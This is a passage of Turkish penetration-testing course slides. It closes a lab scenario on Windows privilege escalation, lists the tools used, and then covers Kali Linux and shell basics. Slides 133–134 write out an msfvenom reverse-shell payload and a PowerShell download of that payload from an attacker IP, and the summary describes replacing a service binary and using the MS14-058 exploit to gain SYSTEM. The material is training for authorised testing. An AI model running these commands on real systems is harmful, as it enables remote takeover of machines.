  133. 133. SİSTEM – 2 (SENARYO) msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.152.192 LPORT=5555 -f exe > shell.exe Win64.exe exploit kodumuzla tetikleyeceğimiz ve bize "SYSTEM" kullanıcı hakları ile ikinci bir shell açacak olan payload'umuzu "msfvenom" ile oluşturalım. Yetki Yükseltme Alternatif Senaryo
  134. 134. SİSTEM – 2 (SENARYO) powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.152.192/ shell.exe','C:WindowsTempshell.exe')"; Reverse TCP shell payload'umuzu da hedef sisteme PowerShell yardımı ile yükleyelim. Yetki Yükseltme Alternatif Senaryo
  135. 135. SİSTEM – 2 (SENARYO) İki dosyamızın da hedef bilgisayar tarafından çekilip çekilmediğini basit HTTP sunucumuzu başlattığımız konsolumuzdan görebiliriz. Yetki Yükseltme Alternatif Senaryo
  136. 136. SİSTEM – 2 (SENARYO) "SYSTEM" hakları ile bağlantı kurmasını beklediğimiz payload'umuzu karşılamak üzere TCP 5555 portundan dinleyen servisimizi başlatalım. Yetki Yükseltme Alternatif Senaryo
  137. 137. SİSTEM – 2 (SENARYO) Win64.exe shell.exe Yetki Yükseltme Alternatif Senaryo
  138. 138. SİSTEM – 2 (SENARYO) Reverse TCP shell'imizi aldığımızda "whoami" komutu ile kullanıcı haklarımızı kontrol edebiliriz. Yetki Yükseltme Alternatif Senaryo
  139. 139. SİSTEM – 2 (SENARYO) ÖZETLE; • TCP port taramasında bir servis tespit ettik ancak ne servisi olduğu ve versiyonu ile ilgili bilgi edinemedik. • UDP port taramasında SNMP servisini ve community string olarak "public" kelimesini kullandığını tespit ettik. • SNMP sorguları ile servisin ALLMediaServer olduğuna dair bir fikir oluştu. • Bu uygulama için yayınlanmış bir exploit kodunu düzenledik ve shell aldık.
  140. 140. SİSTEM – 2 (SENARYO) ÖZETLE (devamı); • Yetki yükseltme çalışmaları için dosya yükleme imkanı geliştirdik (wget.vbs ile) • Hedef Windows bilgisayar üzerindeki servisleri ve bu servislerin kodlarının bulunduğu dizinleri inceledik. • Erişim kontrolü yetersiz bir servis exe'sini kendi payload'umuzla ezerek System erişimi elde ettik. • Alternatif bir yetki yükseltme senaryosu olarak MS14-058 yamasının yüklenmediğini tespit ettiğimiz hedef sistem üzerinde bu exploit vasıtasıyla yetkimizi yükselttik.
  141. 141. ÖRNEK SENARYOLARDA KULLANDIĞIMIZ ARAÇLAR Araçlar Platform Kullanım Amaçları ifconfig Linux IP adres bilgilerini gösterir. netdiscover Kali ARP vd. tekniklerle sunucu keşfi yapar. nmap Kali Port tarama, işletim sistemi ve servis keşfi yapar. Ayrıca çeşitli yardımcı scriptler ile açıklık taramaları yapar. searchsploit Kali Kali üzerinde bulunan Exploit DB istismar kodları içinde arama yapmak için kullanılır. Burp Suite Kali Web attack proxy aracıdır. Ücretsiz sürümündeki fonksiyonalite sınırlıdır. nikto Kali Web sunucuları üzerinde belirli açıklıkları tarar ve backend içerik taraması gerçekleştirir. dirb Kali Web sunucuları üzerinde frontend ve backend içerik taraması gerçekleştirir. Exploit DB web sitesi Web İstismar kodlarının toplu biçimde sunulduğu bir web sitesidir. unzip Linux Linux üzerinde zip'li dosyaları açmak için kullanılır.
  142. 142. ÖRNEK SENARYOLARDA KULLANDIĞIMIZ ARAÇLAR Araçlar Platform Kullanım Amaçları grep Linux Linux üzerinde belirli bir kelimeyi dosyalar ve stdin içinde arar, kelimenin bulunduğu satırı çıktı olarak üretir. cewl Kali Verilen hedef web sayfasındaki kelimelerden parola sözlüğü oluşturur. head Linux Belli bir dosyanın ilk satılarını görüntüler. KoreLogic JTR rule'ları Kali JTR parola kırma aracının parola üretme fonksiyonalitesi için özel kurallar barındırır. John the Ripper Kali Çevrim dışı (offline) parola kırma aracıdır. Biz parola sözlüğü türetmek için kullandık. OWASP ZAP Kali Web attack proxy aracıdır. msfvenom Kali İstismar payload kodu üretmek için kullanılır. Makine dili (executable) dahil pek çok dilde istismar kodu üretir. netcat Kali TCP ve UDP istemci ve sunucu olarak kullanılabilir. Ayrıca port tarama imkanı da vardır. msfconsole Kali Metasploit framework'ün en çok kullanılan arayüzüdür. Exploit işlemini otomatikleştirmek için pek çok fonksiyonalitesi vardır.
  143. 143. ÖRNEK SENARYOLARDA KULLANDIĞIMIZ ARAÇLAR Araçlar Platform Kullanım Amaçları meterpreter Kali Çok aşamalı istismar kodu gönderme mimarisinde ve çeşitli fonksiyonaliteleri sağlayan payload framework'üdür. whoami Linux / Windows Mevcut kullanıcı adımızı ve diğer bilgileri sorgulamayı sağlar. uname -a Linux Linux sunucu adı, versiyonu ve kernel versiyonu bilgilerini listeler. cat /etc/*-release Linux cat komutu dosya içeriğini listeler. release dosya içeriği Linux işletim sistemi ile ilgili detay bilgi içerir. id Linux Linux'ta mevcut kullanıcı kodu ve grup üyeliklerini listeler. nbtscan Kali Windows bilgisayarlar için uzaktan NetBIOS isim servisini taramak için kullanılır. snmp-check Kali SNMP servisi tarama aracıdır. wmic service Windows Windows bilgisayarlar üzerindeki WMI arayüzünden (komut satırından) bilgi sorgulama aracıdır. findstr Windows Dosya ve stdin üzerinden aldığı satırlar içinde kelime aracıdır.
  144. 144. ÖRNEK SENARYOLARDA KULLANDIĞIMIZ ARAÇLAR Araçlar Platform Kullanım Amaçları cacls Windows Windows dosya ve dizin erişim hakları sorgulama ve tanımlama aracıdır. vb script Windows Windows tarafından desteklenen bir script dilidir. SimpleHTTPServer Kali PHP, ASP v.b. web script dosyaları da dahil herhangi bir dosyanın hedef sistem üzerinden HTTP protokolü ile çekilebilmesi için kullanılan basit bir HTTP servis modülüdür. net stop / start Windows Windows üzerinde servis durdurma ve başlatma komutlarıdır. Wireshark Kali Paket dinleme ve protokol analiz aracı.
  145. 145. OLASI SORULAR VE İLGİLİ BÖLÜMLER Soru Eğitim Bölümü Kali tam olarak nedir? Kali'ye Giriş Kali'nin üzerine bir uygulama kurulum yöntemi nedir? Kali'ye Giriş Linux üzerindeki temel komutlar nelerdir? Kali'ye Giriş TCP, UDP, HTTP nedir? Bilgi Toplama Nmap portları nasıl buluyor, işletim sistemini nasıl tahmin ediyor? Bilgi Toplama Netcat nasıl çalışıyor? Bilgi Toplama NetBIOS nedir? Bilgi Toplama SNMP nedir? Bilgi Toplama Whois nedir? Bilgi Toplama Shellcode nedir? Bellek Taşma Açıklıkları
  146. 146. OLASI SORULAR VE İLGİLİ BÖLÜMLER Soru Eğitim Bölümü Msfvenom ile ürettiğimiz shellcode'lar neden x ile başlayan bölümlerden oluşuyor? Bellek Taşma Açıklıkları Attack proxy tam olarak ne yapıyor? Web Uygulama Açıklıkları Nikto ve dirb /admin dizinini nasıl buldu? Web Uygulama Açıklıkları SQL injection nedir? Web Uygulama Açıklıkları PHP nedir? Web Uygulama Açıklıkları Payload nedir, shellcode'dan farkı nedir? Metasploit ve Meterpreter Meterpreter nedir? Metasploit ve Meterpreter John the Ripper ne işe yarıyor? Parola Kırma Yetki yükseltme yöntemleri nelerdir? Yetki Yükseltme Local exploit ne demektir? Yetki Yükseltme
  147. 147. KALİ'YE GİRİŞ
  148. 148. İÇERİK • Kali Linux Nedir? • Linux Shell Ortamı • Linux Dosya Sistemi İşlemleri • Linux Dosya Bulma İşlemleri • Linux Shell Scripting • Linux Kullanıcı Yönetimi • Linux Ağ Trafiği İzleme • Kali Linux Servis Yönetimi • Linux Uygulama Kurulumu • Editörler ve Dosya İzleme Araçları
  149. 149. KALİ LINUX NEDİR? • Kali bir (genel amaçlı konularda Debian paketleri baz alınarak oluşturulmuş) Linux dağıtımıdır, ancak genel amaçlı olmayıp özellikle sızma testi, adli bilişim ve tersine mühendislik amaçlarıyla kullanılmak üzere özelleştirilmiştir. • Kali’nin araçlar açısından genel eğilimden farklılaştığı bir nokta sadece DOS, DDOS ve anonim internet erişimine özel araçları genellikle yasal projelerde kullanılmadıkları gerekçesiyle dışlamış olması ve barındırmamasıdır. • Debian standartlarına bağlı kalınarak özelleştirilmiş bu dağıtımın kernel seviyesinde ve güvenlik araçları uygulama kodları seviyesinde gerekli görülen pek çok irili ufaklı özelleştirme yapılmıştır. Yani herhangi bir linux işletim sistemi alınarak üzerine araçlar basit bir şekilde kurulmamıştır. Çoğunluğu açık kaynak kodlu araçlardan oluşan güvenlik yazılım paketleri ile ilgili bilgi ve yama linklerine http://tools.kali.org web sitesinden ulaşabilirsiniz.
  150. 150. KALİ LINUX NEDİR? Kali’nin diğer linux dağıtımlarından belli başlı farkları şunlardır: • Tek kullanıcı ve “root” kullanıcısı olarak kullanılmak üzere tasarlanmıştır. Bu yaklaşım normal sunucular için güvenlik açısından sakıncalıdır. Ancak kali’de kullanılan araçların önemli bir kısmı root erişim haklarına ihtiyaç duyurmakta ve her defasında sudo yapmaktan kurtulmak için bu yaklaşım kullanılmaktadır. • Kali genel amaçlı bir dağıtım değildir ve bu nedenle ağ servisi vermesi de beklenmez. Bu yüzden sistem başlangıç konfigürasyonları tüm servisler kapalı olacak şekildedir. Elbette siz servisleri açabilir ve bunları her reboot işleminden sonra aktif hale gelecek şekilde ayarlayabilirsiniz. Ancak diğer Linux dağıtımlarında yeni bir servis kurulduğunda öntanımlı olarak init script'lerini oluşturarak aktif hale gelmesini sağlayan update-rc.d script'i Kali Linux üzerinde değiştirilerek bir kara liste kontrolü yapılmıştır. • Kali kablosuz ağ testleri için özelleştirilmiş bir kernel kullanmaktadır. Yani ayrıca özel sürücüler kurma ihtiyacı yoktur.
  151. 151. KALİ LINUX NEDİR? update-rc.d içindeki kara liste
  152. 152. KALİ LINUX NEDİR? • Kali bir linux dağıtımı olmakla birlikte Linux’u öğrenmek için doğru bir platform olduğu söylenemez. Linux hakkında temel deneyimleri edinmek için Ubuntu, Debian, Mint gibi dağıtımlar tercih edilebilir. • Bununla birlikte Kali’yi etkin olarak kullanmak için temel linux kullanıcı ve sistem yönetici bilgisine sahip olmak gereklidir.
  153. 153. LINUX SHELL ORTAMI Kullanıcılar logon olduklarında çalışacak olan shell uygulaması /etc/passwd dosyasında belirtilir. SORU: /usr/sbin/nologin ve /bin/false gibi dosyalar ne işe yarıyor olabilir?.. Kullanıcı $HOME dizini Kullanıcı logon olduğunda içine düşeceği dizindir. /etc/passwd
  154. 154. LINUX SHELL ORTAMI Shell açılışı sırasında çalışan profil script'leri /etc/profile ~/.bash_profile ~/.bash_login ~/.profile
  155. 155. LINUX SHELL ORTAMI Shell değişkenleri ve çevresel değişkenlerin atanması ve sorgulanması
  156. 156. LINUX SHELL ORTAMI # env | more ÇEVRESEL DEĞİŞKENLER $PATH çevresel değişkeni
  157. 157. LINUX SHELL ORTAMI "echo" komutuyla shell değişkenleri ve çevresel değişken gösterme
  158. 158. LINUX SHELL ORTAMI # nohup komutu ile arka plandaki işin shell proses'inden bağımsız çalıştırılması
  159. 159. LINUX SHELL ORTAMI Ctrl+Z, fg ve bg komutları ile işlerin arka plana atılması ve ön plana alınması
  160. 160. LINUX SHELL ORTAMI stdout yönlendirme (redirection) ">"
  161. 161. LINUX SHELL ORTAMI stdout yönlendirme (redirection) yapılsa da stderr konsola yazılmaya devam ediyor.
  162. 162. LINUX SHELL ORTAMI Hem stdout'u hem de stderr'u yönlendirme (redirection) "&>" veya "2>&1"
  163. 163. LINUX SHELL ORTAMI stdin yönlendirme (redirection) "<"
  164. 164. LINUX SHELL ORTAMI Ekleme (append etme) ">>"
  165. 165. LINUX SHELL ORTAMI Pipe ile bir sonraki komutun stdin'ine veri aktarma "|"
  166. 166. LINUX SHELL ORTAMI "tee" komutu ile hem konsola hem dosyaya veri yazma
  167. 167. LINUX SHELL ORTAMI Diğer pratik shell komutları: • sort: Adından da anlaşılacağı üzere almış olduğu girdiyi sıralayarak çıktı üretir • uniq: Sıralanmış bir girdi dizisinden tekrarlayan satırları çıkararak satırları tekil biçimde tekrar üretir • grep: En sık kullanılan filtrelerden birisi olan “grep” komutu girdilerin içinde belirli bir veri yapısını arar ve bu veri yapısının bulunduğu satırın tamamını çıktı olarak tekrarlar. Yani veri yapısının görülmediği satırları eler. Veri yapısı sabit bir metin olabileceği gibi bir “regular expression” da olabilir. • head: Genellikle büyük bir dosya inceleneceği zaman sadece ilk birkaç satırını görmek için kullanılır. • tail: Genellikle büyük bir dosya inceleneceği zaman (örneğin bir log dosyası gibi) dosyanın sadece son birkaç satırını görmek için kullanılır. Tail komutu özellikle log dosyaları gibi sık değişen dosyaların sonuna eklenen satırların sürekli izlenmesi için “-f” switch’i ile birlikte kullanılır. • sed: Adı “stream editor”ün kısaltması olan “sed” komutu aldığı girdi içinde gerekli değişiklik ve dönüşümleri yaparak çıktı üretir.
  168. 168. LINUX SHELL ORTAMI Shell History dosyaları kullanıcıların $HOME dizinlerinde bulunur ve hassas bilgi içerebilir
  169. 169. LINUX SHELL ORTAMI EGZERSİZ • Kali bilgisayarınıza "root" kullanıcısı olarak logon olduğunuzda shell'inizde tanımlı olan $PATH çevresel değişkeni "local path"i (yani ".") içermekte midir? • İçermiyorsa veya içermeseydi içinde bulunduğunuz dizindeki bir uygulamayı / script'i nasıl çalıştırabilirdiniz?
  170. 170. LINUX DOSYA SİSTEMİ İŞLEMLERİ "ls" komutu ile dizin ve dosyaları listeleme
  171. 171. LINUX DOSYA SİSTEMİ İŞLEMLERİ "ls -a" komutu ile normalde görüntülenmeyen adı "." ile başlayan dizin ve dosyaları listeleme
  172. 172. LINUX DOSYA SİSTEMİ İŞLEMLERİ "pwd" yani Present Working Directory komutu ile içinde bulunduğumuz dizinin adını öğrenme
  173. 173. LINUX DOSYA SİSTEMİ İŞLEMLERİ "ls -l" komutu ile dizin ve dosyaların sahiplik, erişim hakları ve boyutlarını listeleme
  174. 174. LINUX DOSYA SİSTEMİ İŞLEMLERİ Dosya / dizin erişim haklarının bulunduğu bölümün başında özel erişim bayrağı (special permission flag) bulunur. [-] [rwx] [rwx] [rwx] Bu ilk bölümde bulunabilecek tüm opsiyonlara farklı bir kaynaktan ulaşabilirsiniz. Ancak burada sadece sıklıkla karşılaşılan opsiyonlara değineceğim: • “-“ karakteri dosyanın rutin bir dosya olduğuna işaret eder. • “d” karakteri ilgili ismin bir dizin ismi olduğunu belirtir. • “l” dosyanın aslında farklı bir dosyanın sembolik linki olduğunu belirtir. Bu konuyu aşağıda açıklayacağız.
  175. 175. LINUX DOSYA SİSTEMİ İŞLEMLERİ "ln -s" komutu ile sembolik link oluşturma
  176. 176. LINUX DOSYA SİSTEMİ İŞLEMLERİ Dosya erişim izinleri 3 farklı grup için verilir: • Dosya sahibi kullanıcı (u - owner) • Grup (g - group) • Diğer (tüm) kullanıcılar (o - others) Erişim hakları ise aşağıdaki gibidir: • Okuma (r - read): Dosyalar için dosyanın içeriğinin görülebilmesi, dizinler için dizin içeriğinin listelenmesi anlamına gelir. • Yazma (w - write): Dosyalar için dosya içeriğinin değiştirilebilmesi, dizinler için dizin içinde dosya oluşturma, dizin içindeki dosyaların adını değiştirme, dizin içindeki dosyaları silme ve dizin özelliklerini (attributes) değiştirebilme anlamına gelir. • Çalıştırma (x - execute): Dosyalar için dosyanın (derlenmiş kod dosyası veya script dosyası) çalıştırılabilmesi, dizinler için dizine giriş, dizinin içindeki dosya ve dizinlere erişim hakkı anlamına gelir.
  177. 177. LINUX DOSYA SİSTEMİ İŞLEMLERİ Setuid / setguid hakkına sahip dosyalar güvenlik denetimlerinde özellikle incelenir, çünkü bu uygulamalar yüksek erişim hakkına sahip olduklarından düşük kullanıcı hakkına sahip kullanıcılar tarafından kötüye kullanılabilirler. Ayrıca bu uygulamalardaki bir açıklık yüksek kullanıcı haklarının herhangi bir işlem gerçekleştirilebilmesine de olanak tanıyabilir.
  178. 178. LINUX DOSYA SİSTEMİ İŞLEMLERİ "chmod" komutu ile dosya erişim haklarının düzenlenmesi
  179. 179. LINUX DOSYA SİSTEMİ İŞLEMLERİ "cd" komutu ile relative dizin değiştirme
  180. 180. LINUX DOSYA SİSTEMİ İŞLEMLERİ "cp", "mv", "rename" ve "rm" komutları
  181. 181. LINUX DOSYA BULMA İŞLEMLERİ "which" komutu ile $PATH çevresel değişkenindeki dizin sırasında ilk bulunan çalıştırılabilir kodun görüntülenmesi "-a" opsiyonu ile tüm dizinlerde bulunan çalıştırılabilir kodların araştırılması
  182. 182. LINUX DOSYA BULMA İŞLEMLERİ "locate" komutu “which” komutu gibi ne çalıştırılabilir dosyalara özeldir ne de sadece PATH değişkeninde geçen dizinleri arar. “locate” komutu bir veritabanı içinde dosya isimlerini arar. Bu veritabanı bir “cron” işiyle periyodik olarak güncellenirEğer veritabanını manuel olarak güncellemek isterseniz “updatedb” komutuyla da bu işlemi yapabilirsiniz.
  183. 183. LINUX DOSYA BULMA İŞLEMLERİ "find" komutunun "-name" opsiyonu ile kullanılması ve "/etc" dizini ve alt dizinlerinde ismi "prof" ile başlayan tüm dosyaların adlarının listelenmesi
  184. 184. LINUX DOSYA BULMA İŞLEMLERİ EGZERSİZ • "/usr" dizini ve onun altındaki dizinlerde "setuid" yani "s" biti işaretli ve sahibi "root" kullanıcısı olan kaç adet dosya bulunmaktadır? İpucu: "man" komutu ile "find" komutunun manual page'ini inceleyiniz. "man" komutu öntanımlı olarak "vi" editörünü (read- only) kullanır. "vi" da bir kelimeyi aramak için "/" karakterine bastıktan sonra kelimeyi yazabilirsiniz. "find next" işlemi için "n" tuşunu kullanınız. İnternet'ten faydalanabilirsiniz.
  185. 185. LINUX SHELL SCRIPTING #!/bin/bash echo "Lütfen taranacak subnet'in ilk 3 octet'ini giriniz ve [ENTER] tuşuna basınız (ör: 192.168.163)" read SUBNET function scan { local YANIT="0"; local IP=$1.$2; local ECHO="echo-0" hping3 $IP -c 1 -1 -C 8 >& aradosya.$IP # ECHO Request if grep "1 packets received" aradosya.$IP >& /dev/null; then if ! grep "Unreachable" aradosya.$IP >& /dev/null; then ECHO="echo-1" # paket ICMP Unreachable yanıtı değil fi fi echo $IP";"$ECHO rm aradosya.$IP } for i in `seq 1 254`; do scan $SUBNET $i done exit 0
  186. 186. LINUX SHELL SCRIPTING Shell interpreter Comment Command Substitution
  187. 187. LINUX SHELL SCRIPTING EGZERSİZ • 1-50 arasındaki rakamları konsola yazan bir shell script geliştiriniz ve çalıştırınız.
  188. 188. LINUX KULLANICI YÖNETİMİ "/etc/passwd" dosyası
  189. 189. LINUX KULLANICI YÖNETİMİ "/etc/group" dosyası
  190. 190. LINUX KULLANICI YÖNETİMİ "/etc/shadow" dosyası
  191. 191. LINUX KULLANICI YÖNETİMİ # hash-identifier aracı ile parola hash'inin türünün incelenmesi
  192. 192. LINUX KULLANICI YÖNETİMİ # adduser komutu ile kullanıcı ekleme
  193. 193. LINUX KULLANICI YÖNETİMİ Yeni oluşturulan btriskblog kullanıcısı ile sisteme giriş ve "su" komutu ile "root" kullanıcısına geçiş
  194. 194. LINUX KULLANICI YÖNETİMİ "sudo" yetkisinin verildiği "/etc/sudoers" dosyası
  195. 195. LINUX KULLANICI YÖNETİMİ "sudo" yetkisi kullanılarak kullanıcı ekleme
  196. 196. LINUX KULLANICI YÖNETİMİ EGZERSİZ • Kali Linux bilgisayarınızın üzerinde öntanımlı olarak shell logon olabilecek kaç kullanıcı bulunmaktadır? • Shell logon olabilmek için gerekli kriterler nelerdir?
  197. 197. LINUX AĞ TRAFİĞİ İZLEME "tcpdump" stdout'a yazdırma
  198. 198. LINUX AĞ TRAFİĞİ İZLEME "tcpdump" filtreleme
  199. 199. LINUX AĞ TRAFİĞİ İZLEME Wirehark filtreleme
  200. 200. LINUX AĞ TRAFİĞİ İZLEME Wirehark TCP Stream
  201. 201. LINUX AĞ TRAFİĞİ İZLEME EGZERSİZ • "tcpdump" ile kaydettiğiniz ağ trafik paketlerini "Wireshark" ile okuyarak inceleyiniz. "tcpdump" ile izleme yaparken bir web trafiği oluşturarak ağ paketlerinin oluşmasını sağlayabilirsiniz. İPUCU: "tcpdump"ın paketleri belli bir boyutta yakalaması ve bir dosyaya yazması için gerekli komut opsiyonlarını araştırınız. man dosyasından faydalanabileceğiniz gibi internetten de faydalanabilirsiniz.
  202. 202. KALI LINUX SERVİS YÖNETİMİ Debian'da "init" dosyası "systemd" dosyasına linklenmiştir "init" scriptlerinin yerini "systemd" unitleri almıştır
  203. 203. KALI LINUX SERVİS YÖNETİMİ Kali'de servis yönetimi için "systemctl" komutunu kullanabilirsiniz Bununla birlikte "init" script desteği ve "service ... start / stop" komutları ile servis yönetimi imkanı devam etmektedir
  204. 204. KALI LINUX SERVİS YÖNETİMİ "root" kullanıcısı ile uzaktan "ssh" bağlantısı kurabilmek için yapılması gereken konfigürasyon ayarı
  205. 205. KALI LINUX SERVİS YÖNETİMİ Putty ile uzaktan bağlantı
  206. 206. KALI LINUX SERVİS YÖNETİMİ systemd service unit'lerine diğer örnekler
  207. 207. KALI LINUX SERVİS YÖNETİMİ EGZERSİZ • Kali Linux bilgisayarınızda "root" kullanıcısının "ssh" logon yapabilmesi için gerekli ayarı yapınız ve "ssh" servisini aktif hale getiriniz. Windows host bilgisayarınıza "Putty" ssh client uygulamasını indiriniz ve bu aracı kullanarak Kali Linux'a "root" kullanıcısı ile "ssh" üzerinden bağlanınız. • "ssh" bağlantınızı Wireshark ile izleyiniz.
  208. 208. LINUX UYGULAMA KURULUMU Kali'nin üzerinde gelen uygulama paketleri kaynak listesi Kali'nin diğer dağıtımlardan temel farklılıkları öntanımlı olarak bu listenin daraltılımış olmasıdır
  209. 209. LINUX UYGULAMA KURULUMU apt (Advanced Package Tool) aracının bilgisayar üzerindeki paket bilgileri cache'ini güncellemek için herhangi bir kurulum veya güncelleme öncesinde "apt-get update" komutunu kullanınız.
  210. 210. LINUX UYGULAMA KURULUMU apt paketleri cache dosyası örneği
  211. 211. LINUX UYGULAMA KURULUMU apt ile uygulama kurmak için "apt-get install ... " Komutunu kullanınız Kali apache2 paketinin otomatik olarak kurulması ve başlatılmasını engelledi
  212. 212. LINUX UYGULAMA KURULUMU Sistem üzerinde kurulu paketleri incelemek için "dpkg -list ... " "apt" ve diğer paket yönetim araçları arka planda "dpkg" komutunu kullanmaktadırlar
  213. 213. LINUX UYGULAMA KURULUMU Kaynak kod'dan uygulama kurulumu Kali üzerinde C kodlarının derlenmesi için gerekli olan "build-essential" paketi kurulu olarak gelmektedir
  214. 214. LINUX UYGULAMA KURULUMU Kaynak kod'dan uygulama kurulumu "configure" komutu ile C makefile'ı oluşturulur
  215. 215. LINUX UYGULAMA KURULUMU Kaynak kod'dan uygulama kurulumu "make" komutu ile C uygulaması derlenir
  216. 216. LINUX UYGULAMA KURULUMU Kaynak kod'dan uygulama kurulumu "make install" komutu ile derlenmiş uygulama nesne dosyaları Linux'ta uygun dizinlere yerleştirilir
  217. 217. LINUX UYGULAMA KURULUMU EGZERSİZ • Kali'nin resource'ları arasında bulunan ve parola kırma amacıyla kullanılabilecek uygulamaları araştırınız. İPUCU: "apt-get update" komutuyla uygulama paketleri cache'inizi tazeleyin ve sonrasında "apt-cache search" komutunun man page'inden faydalanarak arama yapınız.
  218. 218. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "cat" komutu Adı "concatenate" kelimesinden gelir, dosyaları birleştirmek için pratik bir komuttur, ancak tek bir dosya içeriğini incelemek için de kullanılabilir
  219. 219. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "vi" komutu Çok sayıda tuş komutunu ezberlemeniz gerekir ESC + "i" karakteri ile "input" moda geçebilirsiniz ESC + ":" karakteri ile "komut" muduna geçebilirsiniz
  220. 220. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "nano" editörü Linux'la yeni tanışanlar için daha "vi"a nazaran daha iyi bir alternatif diyebiliriz
  221. 221. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "head" komutu
  222. 222. EDİTÖRLER VE DOSYA İZLEME ARAÇLARI "tail" komutu "-f" opsiyonu ile sürekli güncelleme yapar, bu nedenle özellikle log dosyalarını izlemek için tercih edilir

×